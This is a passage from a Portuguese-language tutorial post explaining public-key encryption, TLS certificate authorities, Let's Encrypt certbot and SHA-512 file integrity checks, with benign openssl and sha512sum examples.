</span></span><span class="line"><span class="cl"><span class="m">0000000</span> ccab 139c 27f3 c206 76af 952d 0fb1 2c17
</span></span><span class="line"><span class="cl"><span class="m">0000010</span> 51a5 0a43 731b 5bf4 9f3c 72b5 1e57 <span class="m">2503</span>
</span></span><span class="line"><span class="cl"><span class="m">0000020</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Pra não ficar confuso vamos recapitular. Eu gerei uma chave simétrica AES chamada &ldquo;key.bin&rdquo;. Quero usar essa chave pra criptografar arquivos ou mensagens pra mandar pra uma segunda pessoa em algum lugar na internet, vamos chamar de John. Porém, não adianta criptografar a mensagem e mandar pro John porque ele precisa ter a chave. Mas não posso mandar a chave via email ou whatsapp porque aí não tem segurança nenhuma. Precisamos garantir que nada no meio do caminho possa interceptar ou adulterar minhas mensagens pro John.</p>
<p>O problema de mandar a chave direto por email é se alguém na internet, vamos chamar de Skynet, intercepte essa comunicação e fique com minha chave, sem passar pra frente. Daí ela manda uma outra chave falsificada pro John. O John não sabe que recebeu uma chave falsa. Agora eu, Fabio, vou mandar uma mensagem criptografada com minha chave que diz &ldquo;John, descobri a localização da Skynet, ele tá nas coordenadas X Y&rdquo;.</p>
<p>Skynet intercepta essa comunicação, e como já tinha interceptado minha chave, consegue facilmente abrir a mensagem. Agora ela forja uma segunda mensagem dizendo &ldquo;John, achei a Skynet, clique neste link pra ver a localização!&rdquo;, criptografa com a chave falsa e manda pro John. O John abre achando que veio de mim. Daí, na confiança, clica no link e é isso, acabou a raça humana. Game over. Eu sempre digo: nunca saia clicando em links que recebe por email ou whatsapp.</p>
<p>Mas eu sei que isso poderia acontecer. Em vez disso já tinha ensinado: &ldquo;John, cria um par de chaves RSA, e manda a chave pública pra mim, mas nunca, jamais, transmita a chave privada pra fora da sua máquina&rdquo;. Ele me manda a chave pública, por email aberto mesmo, e com essa chave eu encripto aquele arquivo &ldquo;key.bin&rdquo;. Quando o John receber a mensagem criptografada, pode rodar o seguinte comando. Openssl decriptar o arquivo key.bin.enc com a chave privada.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>openssl pkeyutl -decrypt -inkey private.pem -in key.bin.enc -out key.bin.dec</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Entenda, quando encripto alguma coisa com a chave pública do John, o único que vai conseguir abrir é o John com sua chave privada. Se eu conseguir passar minha chave simétrica key.bin pra ele, de forma segura, garantidamente só nós dois temos o segredo e podemos começar a trocar comunicação encriptada com AES e a Skynet não vai ter como interceptar nem ficar no meio do caminho tentando forjar mensagens.</p>
<p>Mas tem um pequeno defeito nesse processo. Como eu sei que a chave pública que o John me mandou veio realmente do John e não é de novo a porra da Skynet tentando me enganar? Esse é o mesmo problema que temos hoje em websites e ecommerces da vida. Como eu sei que a chave pública que recebi da Amazon é realmente da Amazon? Como eu sei que não é um site de um hacker, uma Skynet, tentando se passar pela Amazon? Vamos entender a última peça que falta: a autoridade certificadora.</p>
<p>Esse é o princípio por trás de SSL ou, mais corretamente, TLS, que todo navegador utiliza. O que acontece por trás dos panos sem você ver é o seguinte: primeiro, abrimos o navegador e digitamos &ldquo;<a href="https://amazon.com"target="_blank" rel="noopener">https://amazon.com</a>&rdquo; da vida. Importante que seja um site &ldquo;https&rdquo;. Então o navegador pede uma conexão segura pro servidor web da amazon que, por sua vez, devolve um certificado digital.</p>
<p>Um certificado digital é um pacote que contém a chave pública, a metade do par de chaves de uma Amazon. A chave privada nunca sai do servidor. Lembrem-se desse conceito: chaves privadas nunca podem tocar a internet, jamais. Mas, como eu posso garantir que não é a Skynet, minha conexão foi interceptada e recebi um certificado falso? Pra isso que existem CAs ou Certificate Authorities. Vamos ilustrar com um exemplo, porque é importante ter esse processo na cabeça.</p>
<p>De novo, o objetivo do video não é ser um tutorial. Mas se nunca viu, vou criar um novo certificado digital usando o serviço Letsencrypt associado ao meu domínio válido &ldquo;akitando.me&rdquo;. Pra criar um certificado precisa ter um domínio registrado válido. O jeito tradicional é um passo a passo super chato. É um processo já bem documentado, que tem em dezenas de lugares, só procurar no Google. Mas Letsencrypt é mais fácil porque simplifica vários passos. Pra começar precisa ter instalado o programa &ldquo;certbot&rdquo; na sua máquina.</p>
<p>Iniciamos o processo pedindo pra gerar um certificado pro meu domínio usando o método de checar um registro no DNS pra garantir que sou mesmo o dono desse domínio. Só quem é dono do domínio consegue configurar o nameserver. No caso ele gera o que chamamos de um challenge, um desafio, que é esse número aleatório aqui. Eu tenho que registrar um campo TXT no DNS do domínio com exatamente esse número. Isso não é uma senha, fica aberto mesmo. É só pra garantir que a pessoa pedindo pra gerar o certificado realmente é o dono do domínio.</p>
<p>No caso, meu DNS ou nameserver tá na AWS então abro o Route53 pra editar os registros do meu domínio &ldquo;akitando.me&rdquo;. Dependendo de onde tá seu domínio, vai ser um tela diferente, mas o princípio é o mesmo. Daí tem que esperar alguns minutos pra essa informação replicar pela internet. Se não sabe como isso de DNS funciona, não deixe de ver minha série sobre redes. Já expliquei isso lá.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo certbot certonly --manual --preferred-challenges dns -d akitando.me


Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for akitando.me

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please deploy a DNS TXT record under the name:

_acme-challenge.akitando.me.

with the following value:

m_6yRys7mMCh-jg_R8kpwCl3mx5EVK3tMp9jeIR9RFI

Before continuing, verify the TXT record has been deployed. Depending on the DNS
provider, this may take some time, from a few seconds to multiple minutes. You can
check if it has finished deploying with aid of online tools, such as the Google
Admin Toolbox: https://toolbox.googleapps.com/apps/dig/#TXT/_acme-challenge.akitando.me.
Look for one or more bolded line(s) below the line &#39;;ANSWER&#39;. It should show the
value(s) you&#39;ve just added.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Press Enter to Continue


Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/akitando.me/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/akitando.me/privkey.pem
This certificate expires on 2023-11-22.
These files will be updated when the certificate renews.

NEXT STEPS:
- This certificate will not be renewed automatically. Autorenewal of --manual certificates requires the use of an authentication hook script (--manual-auth-hook) but one was not provided. To renew this certificate, repeat this same certbot command before the certificate&#39;s expiry date.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
 * Donating to ISRG / Let&#39;s Encrypt:   https://letsencrypt.org/donate
 * Donating to EFF:                    https://eff.org/donate-le
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>(screenshot route53)</p>
<p>Uma vez validado, vamos ganhar dois arquivos gravados em &ldquo;/etc/letsencrypt/live/akitando.me&rdquo;, um chamado &ldquo;fullchain.pem&rdquo;, o certificado digital propriamente dito, que vai ser servido pra todo navegador que conectar no meu servidor web, e o &ldquo;privkey.pem&rdquo;, que é a chave privada que jamais deve sair do meu servidor, nem ser transmitido pela internet de nenhuma forma.</p>
<p>Estou repetindo pra vocês nunca esquecerem: chave privada se chama &ldquo;privada&rdquo; por uma razão. Se perder essa chave privada, qualquer um pode se passar por você. E se alguém ficou pensando &ldquo;porra, mas e se realmente eu perder essa chave?&rdquo;. A solução é imediatamente gerar um novo certificado e substituir.</p>
<p>Eu não instalei de verdade essa chave porque não tenho site nesse domínio, mas se tivesse, no seu navegador iria aparecer o famoso cadeado. As informações que aparecem quando clica no cadeado é exatamente o conteúdo desse arquivo &ldquo;fullchain.pem&rdquo;. Ele contém a chave pública e está assinado por uma CA, a Central Authority, no caso, a LetsEncrypt.</p>
<p>Eis a resposta de como podemos garantir que o certificado que o site me deu é confiável. Todo navegador, Firefox, Safari, Edge, Chrome, Opera, já vem pré-instalados com vários certificados raíz, seja da Certsign, Digicert, GlobalSign. São arquivos que foram instalados juntos com seu navegador ou que seu navegador puxa do próprio sistema operacional. Um dos dois vai ter esses certificados raiz.</p>
<p>Se baixou seu navegador fora do site oficial, num site genérico de downloads, não existe garantia nenhuma. La garantia soy yo. Mas se estiver usando o Safari que já veio no seu Mac ou o Edge que já veio no seu Windows, a probabilidade é que sejam legítimos. De novo, se comprou sua máquina usada de um terceiro, e nunca formatou, não dá pra garantir nada. Nenhuma máquina que não foi você quem instalou, ou que não comprou numa loja de verdade, não tem nenhuma garantia, ponto final.</p>
<p>Podemos abrir diretamente o arquivo &ldquo;fullchain.pem&rdquo; e veja só, temos uma cadeia de certificados. Primeiro o do meu domínio. Em seguida, vemos que foi assinada pela Letsencrypt que é essa R3. E ela mesma, por sua vez, é assinada por outra autoridade, a Digital Signature Trust Co.</p>
<p>Certificados raíz podem ser instalados com o sistema operacional, ou podem vir com os navegadores. Google Chrome e outros navegadores baseados em Chromium costumam usar o que tem no sistema operacional. Firefox prefere usar certificados próprios. Num Arch Linux, como o Manjaro que eu uso, vem no pacote &ldquo;ca-certificates&rdquo; e costumam ficar no diretório &ldquo;/etc/ssl/certs&rdquo;. Olha só um trecho da listagem dos certificados. E se olharmos mais pra baixo, temos o certificado &ldquo;ISRG Root X1&rdquo; que é a raiz que vimos no certificado digital gerado pela Letsencrypt.</p>
<p>Meu navegador acha o ISRG Root X1 instalado na máquina. Ele parte do pressuposto que pode confiar em todo certificado que foi assinado por qualquer autorizada abaixo dela. É uma cadeia de assinaturas. O certificado do meu domínio akitando.me foi assinado pela chave privada da Letsencrypt que, por sua vez, tem um certificado assinado por essa ISRG que é verificado pela Digital Signature Trust que, em última instância, foi instalado no meu sistema operacional. Em última instância, confiamos que o sistema operacional não foi adulterado, porque instalamos com o ISO oficial ou já veio pré-instalado de fábrica e a máquina é nova.</p>
<p>Quando fizemos o processo do &ldquo;Certbot&rdquo;. Ele gerou aquele &ldquo;fullchain.pem&rdquo;. Começou gerando o par de chaves pública e privada. Daí empacotou no certificado, que é uma estrutura de dados com informações como o nome do domínio, email, a chave pública, etc. É só um arquivo, como se fosse um JSON da vida, por exemplo, mas num formato específico de certificado. No final, ele gera a impressão digital desse arquivo, que é um hash, usando um algoritmo como um SHA256 da vida.</p>
<p>Impressão digital é outro nome pra um hash. Quando passamos um arquivo ou algum conteúdo por um algoritmo de hashing, o resultado é uma impressão digital. Porque se alterarmos 1 bit que seja do arquivo original e refizermos o hashing, o resultado vai ser completamente diferente. Daqui a pouco vou voltar no tema de hashing. Por enquanto entenda que hashing serve pra identificar exatamente o conteúdo original de qualquer coisa. E o que chamamos de assinatura digital é o hash via chave privada de alguma autoridade.</p>
<p>Vamos em outro exemplo. YouTube.com. Olha o cadeado aqui no navegador. Se abrirmos vemos que a raíz é um tal de GTS Root R1. Voltando lá pro diretório &ldquo;/etc/ssl/certs&rdquo; achamos o arquivo do certificado e abrindo podemos ver que se trata do Google Trust Services LLC. Uma empresa do próprio Google dedicado só a gerenciar esse certificado raíz. O Google sendo gigante, é do interesse dela ter controle sobre uma autoridade certificadora também. Sim, seu computador automaticamente acredita em tudo do Google. Existem várias implicações éticas nesse tipo de coisa mas não é escopo desse video.</p>
<p>Com isso o navegador sabe que o certificado do site é &ldquo;válido&rdquo;. Daí ele pode pegar a chave pública de dentro do certificado, e usar pra encriptar uma chave simétrica. Isso estabelece o que se chama de &ldquo;conexão segura&rdquo;. Falando assim dá impressão que passamos a usar, sei lá, um cabo de rede especial que é mais seguro ou algo assim né? Mas não, nada mudou. Estamos na mesma rede física que antes. A diferença é que conseguimos comunicar de forma segura, encriptando todos os pacotes. E a partir daqui, tudo que o navegador mandar pro servidor e vice versa, vai ser encriptado com essa chave.</p>
<p>Tudo isso é feito pra garantir que ninguém no meio do caminho, nem a Skynet, nem o provedor, nem ninguém, consiga ver o que está sendo trafegado, porque vai tudo encriptado. Esse imbróglio todo de cadeias de certificados, assinaturas digitais, pares de chaves assimétricas, é a implementação de um &ldquo;triângulo de confiança&rdquo;. Segurança é quando eu e o John temos confiança num mesmo terceiro, que é uma autoridade reconhecida por ambos. Pra haver confiança, sempre precisa haver um terceiro elemento que ambos os lados confiam.</p>
<p>Voltando pra pergunta original, como eu posso confiar na chave pública do John? Como eu sei que não é a Skynet me mandando uma chave falsificada, se passando pelo John? E a resposta é porque tanto minha máquina, quanto a do John, foram configuradas pela primeira vez pela mãe dele. Mãezona Sara Connor se certificou de instalar um certificado raíz dela em ambas as máquinas. Quando o John me mandar o certificado dele, basta ver se tá assinado pelo certificado da Sara. E vou saber isso porque eu também tenho o certificado de CA dela na minha máquina, igual o exemplo do Google que mostrei. E com isso a humanidade ainda tem chances contra a Skynet.</p>
<p>Pra finalizar esta parte, já vimos como usar o certbot pra gerar um novo certificado digital, assinado pela Letsencrypt, pronto pra colocar no meu servidor web. Mas posso já usar aqui mesmo no terminal. Pra isso podemos usar openssl pra extrair só a chave pública que está dentro desse certificado, pelo terminal como estou mostrando. Openssl passando x509 que é o formato de um certificado, passando o arquivo do certificado e mandando extrair a chave pública pra esse arquivo pubkey.pem. Podemos dar cat nesse arquivo e voilá, eis o base64 da chave.</p>
<p>openssl x509 -pubkey -noout -in /etc/letsencrypt/live/akitando.me/fullchain.pem &gt; pubkey.pem</p>
<p>cat pubkey.pem
&mdash;&ndash;BEGIN PUBLIC KEY&mdash;&ndash;
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE+3a8eg0k/O7Sny46alWDx64kA8FK
SvBs1GxEJA+1ay/6XLg2cF8xEjlDrLbkDrZlUPEr4KxVtFxKAS6uSaCtUA==
&mdash;&ndash;END PUBLIC KEY&mdash;&ndash;</p>
<p>Tendo a chave pública, pra encriptar uma mensagem qualquer ou a chave simétrica, como meu arquivo &ldquo;key.bin&rdquo; do começo do video, é só usar openssl pra encriptar, como já mostrei antes. Mas tem um porém. Não vai dar pra mostrar isso porque essa chave pública que extraí do certificado gerado pelo certbot é uma curva elíptica ECC. Lembram porque eu usei RSA no exemplo lá atrás? Porque OpenSSL não consegue encriptar uma mensagem qualquer com ECC, lembra? Foi o motivo todo de porque eu fiz um exemplo com RSA.</p>
<p>Diferente do exemplo de encriptar uma chave simétrica diretamente usando a chave pública RSA; com curva elíptica, num navegador o que acontece é outro processo chamado de &ldquo;key exchange&rdquo; ou troca de chaves. Um método popular é usando o método de Diffie-Hellman que expliquei no meu video antigo de criptografia, ou ECDH que é a variante pra curva elíptica. Está fora do escopo deste vídeo explicar os detalhes, mas pesquise sobre ECDH.</p>
<p>Em resumo, o navegador já tem implementado um processo só pra trocar chaves simétricas usando essas chaves assimétricas, não precisa fazer na mão como estou mostrando no terminal. Curva elíptica é mais eficiente e mais sofisticado do que o RSA antigo. Mas RSA é suficiente e mais fácil pra demonstrar passo a passo no terminal. Objetivo do vídeo não é tornar ninguém aqui especialista em criptografia, só molhar os dedos pra vocês mesmos depois irem procurar as formas mais avançadas.</p>
<p>Também não é objetivo do video explicar arquitetura de segurança de aplicações web. Só usei o exemplo de TLS pra explicar a utilidade de chaves assimétricas. Muita gente ainda tem na cabeça a imagem de que criptografia é meramente uma única chave secreta super longa. Ou até como nos filmes mostra uma chave física mesmo. Quem assistiu o último Missão Impossível? Eles passam o filme todo literalmente atrás de uma chave dividida em duas &hellip; não é assim que funciona par de chaves. Mas enfim.</p>
<p>Agora precisamos estar na mesma página sobre outro conceito importantíssimo: impressões digitais ou fingerprints e assinatura digital. Novamente, não vou detalhar o que já expliquei no primeiro video de criptografia. Entenda assim: existem diversas funções de hashing como SHA512 que é um dos mais usados. Existem algumas que já são sabidamente defeituosas e fracas, como o antigo MD5. O MD5 não deve ser usado pra assinatura digital porque não é difícil criar colisões, mas não quer dizer que seja inútil. Dependendo do caso de uso, ela ainda é usada. SHA1 é a mesma coisa, deve ser evitado.</p>
<p>A função SHA 512 tem esse nome porque independente do que  passarmos pra ele, o resultado sempre vai ser um número binário de 512 bits, representado como uma string de 128 caracteres, mostrando o binário em formato hexadecimal pra ficar mais fácil de conseguirmos copiar e colar o texto. Pra demonstração, precisamos do programa &ldquo;sha512sum&rdquo;. Acho que na maioria das distros Linux já vem pré-instalado. No caso de distros derivadas de Arch, costuma ficar no pacote &ldquo;coreutils&rdquo;.</p>
<p>Vamos pegar aquele arquivo &ldquo;test.txt&rdquo; que usamos lá atrás e que tinha o conteúdo &ldquo;Hello World&rdquo;. Se fizermos &ldquo;sha512sum test.txt&rdquo; vai devolver esta string:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sha512sum test.txt
e1c112ff908febc3b98b1693a6cd3564eaf8e5e6ca629d084d9f0eba99247cacdd72e369ff8941397c2807409ff66be64be908da17ad7b8a49a2a26c0e8086aa  test.txt</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Olha só. &ldquo;Hello World&rdquo; é super curto, mas mesmo assim o resultado do hash é sempre fixo: um número de 512 bits. Vamos editar esse arquivo e fazer uma modificação de nada. Só adicionar um ponto no final do arquivo. Rodamos o mesmo comando &ldquo;sha512sum&rdquo; e olha o resultado, é um novo hash completamente diferente. É essa propriedade que tornam hashes importantes.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sha512sum test.txt
cf260f19ff6ac4d64990e2173a7d51252b3bd054cbd1ea5df0841035140592832a2ebc64f17c3dd48e3d8f1682143087217b979de7568c8e1836b008d1a5e463  test.txt</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Comparem o hash de antes e o novo. Apesar de ter só adicionado um mísero ponto no final, os hashes são completamente diferentes. Não tem como dizer que vieram de arquivos tão parecidos. E este é o objetivo. Por isso eles servem de impressão digital. Um ser humano lendo um texto mais longo, poderia passar batido numa pontuação fora do lugar. Num documento importante, digamos um contrato, um zero fora do lugar pode significar a diferença entre se comprometer a pagar 100 mil ou 1 milhão de dólares.</p>
<p>Se o contrato tiver 50 páginas, a maioria de nós, seres humanos, íamos passar batido. Mas se o documento original tem uma impressão digital. Basta passarmos o novo documento pelo &ldquo;sha512sum&rdquo; e ver se o hash continua batendo. Se bater, temos certeza que o documento está intacto e não foi adulterado. Porém, se o número for diferente, sabemos com certeza que foi adulterado e não pode ser confiado. Não sabemos onde foi adulterado, mas sabemos que foi. Lembram do episódio anterior sobre recuperação de dados? É assim que um sistema de arquivos como ZFS ou BTRFS sabe que um arquivo pode estar corrompido.</p>
<p>Outro exemplo. Vou no site da minha distro favorita, Manjaro e vou baixar a ISO pra instalar. É um arquivão de 3.7 gigabytes. Digamos que eu fiz o download numa rede pública, tipo num aeroporto ou num Starbucks. Como posso garantir que ninguém interceptou minha requisição e me mandou um arquivão falso? Daí quando eu for instalar, na verdade vai instalar um malware?</p>
<p>Chegando numa rede confiável, como minha casa ou escritório, posso baixar esse arquivo de checksum, com extensão .iso.sha512. Agora posso rodar o seguinte comando. Sha512sum passando esse arquivo de SHA e o ISO baixado.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sha512sum -c manjaro-gnome-22.1.3-230529-linux61.iso.sha512
manjaro-gnome-22.1.3-230529-linux61.iso: OK</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se devolver &ldquo;OK&rdquo; é porque tá tudo bem, mas o que ele fez? Vamos abrir o arquivo .iso.sha512. É um numerozão no formado da saída do sha512sum. A empresa que faz o Manjaro, que criou o arquivo de instalação original, gerou o sha512 e gravou nesse arquivo pra gente.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>cat manjaro-gnome-22.1.3-230529-linux61.iso.sha512
78b8fa6a5222bc10a2e767485e76f82f3c7b2b59f4a70501b4a9fb846c5ad94987cf8b8ed630a701a8a3386debc0a39fc7363a743df8f13f41d3d8324d74e227  manjaro-gnome-22.1.3-230529-linux61.iso</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Podemos simplesmente calcular o sha512 em cima do ISO de 3.7 gigabytes com o comando &ldquo;sha512sum&rdquo;, igual fizemos com o arquivo do Hello World e olha só, gerou exatamente o mesmo hash. Com isso sabemos que nenhum bit dos 3.7 gigabytes veio adulterado. Se um único bit tivesse sido corrompido no download, o hash gerado seria completamente diferente. Com isso sabemos que o ISO é válido e podemos instalar.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sha512sum manjaro-gnome-22.1.3-230529-linux61.iso
78b8fa6a5222bc10a2e767485e76f82f3c7b2b59f4a70501b4a9fb846c5ad94987cf8b8ed630a701a8a3386debc0a39fc7363a743df8f13f41d3d8324d74e227  manjaro-gnome-22.1.3-230529-linux61.iso</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Lembra dos meus videos sobre Git? Esse stringzão não parece com o identificador de um commit? Só que no caso de commit é mais curto. Isso porque Git usa SHA1 em vez de SHA256. SHA1, assim como MD5, também não é mais pra ser usado, mas é difícil migrar pra SHA256 sem quebrar compatibilidade e gerar confusão na cabeça de todo mundo, por isso não usamos SHA256 ainda, mas uma hora Git também deve mudar.</p>
<p>A razão de não usarmos mais MD5 é porque descobriram um bug no seu processo que torna razoavelmente fácil gerar colisões. Ou seja, se modificarmos um determinado documento, cuidadosamente, nos bits certos, temos como mudar o conteúdo e no final o MD5 vai gerar exatamente o mesmo hash. Aí perde o propósito. Descobriram que dá pra fazer isso com SHA1 também, mas não é tão trivial, mesmo assim não é impossível. Não é prático, mas é estatisticamente possível, e isso é suficiente pra considerarmos parar de usar.</p>
<p>Dois conteúdos diferentes que geram o mesmo hash, chamamos de &ldquo;colisão&rdquo; e mais cedo ou mais tarde, colisões acontecem. É estatisticamente inevitável, mas é muito difícil de controlar a colisão pra acontecer exatamente quando queremos num SHA256 ou outra função melhor. Mas MD5 e SHA1 já sabemos como controlar as colisões, adicionar bits extras que dá pra ignorar, só pro arquivo no final conseguir chegar no mesmo hash.</p>
<p>Eu explico no video de criptografia sobre hashes usados pra não guardar senhas abertas num banco de dados, assistam depois porque é importante saber disso. Mas caso não saiba, é considerado certificado de estupidez gravar senha dos usuários aberto numa tabela no seu banco de dados. Também é uma idiotice achar que é esperto e gerar o hash da senha e gravar numa tabela. Precisa de salt. E tem algoritmos melhores do que outros. Assista depois pra entender.</p>
<p>O principal é o seguinte: quando um determinado conteúdo, um arquivo ou documento, tem conteúdo secreto, o certo é encriptar o arquivo inteiro usando um algoritmo como AES com uma chave bem longa e forte. Mas pra diversos usos, só pra identificar se foi ou não adulterado, como um contrato, não precisa encriptar o arquivo todo, basta encriptar a impressão digital, que vai ser mais curta. Um exemplo disso é o download da ISO do site da Manjaro.</p>
<p>É um desperdício encriptar uma ISO inteira, não tem nada secreto dentro. É um arquivo público que qualquer um pode baixar e instalar de graça. O problema é saber se a ISO baixada não foi adulterada no meio do caminho. Pra isso tem coisas como o arquivo &ldquo;.iso.sha512&rdquo;. Mas tem um outro arquivo no site deles também, olha só, eles chamam de assinatura e é um arquivo &ldquo;.iso.sig&rdquo;. Não dá pra listar porque é um arquivo binário, mas é a assinatura do hash da ISO.</p>
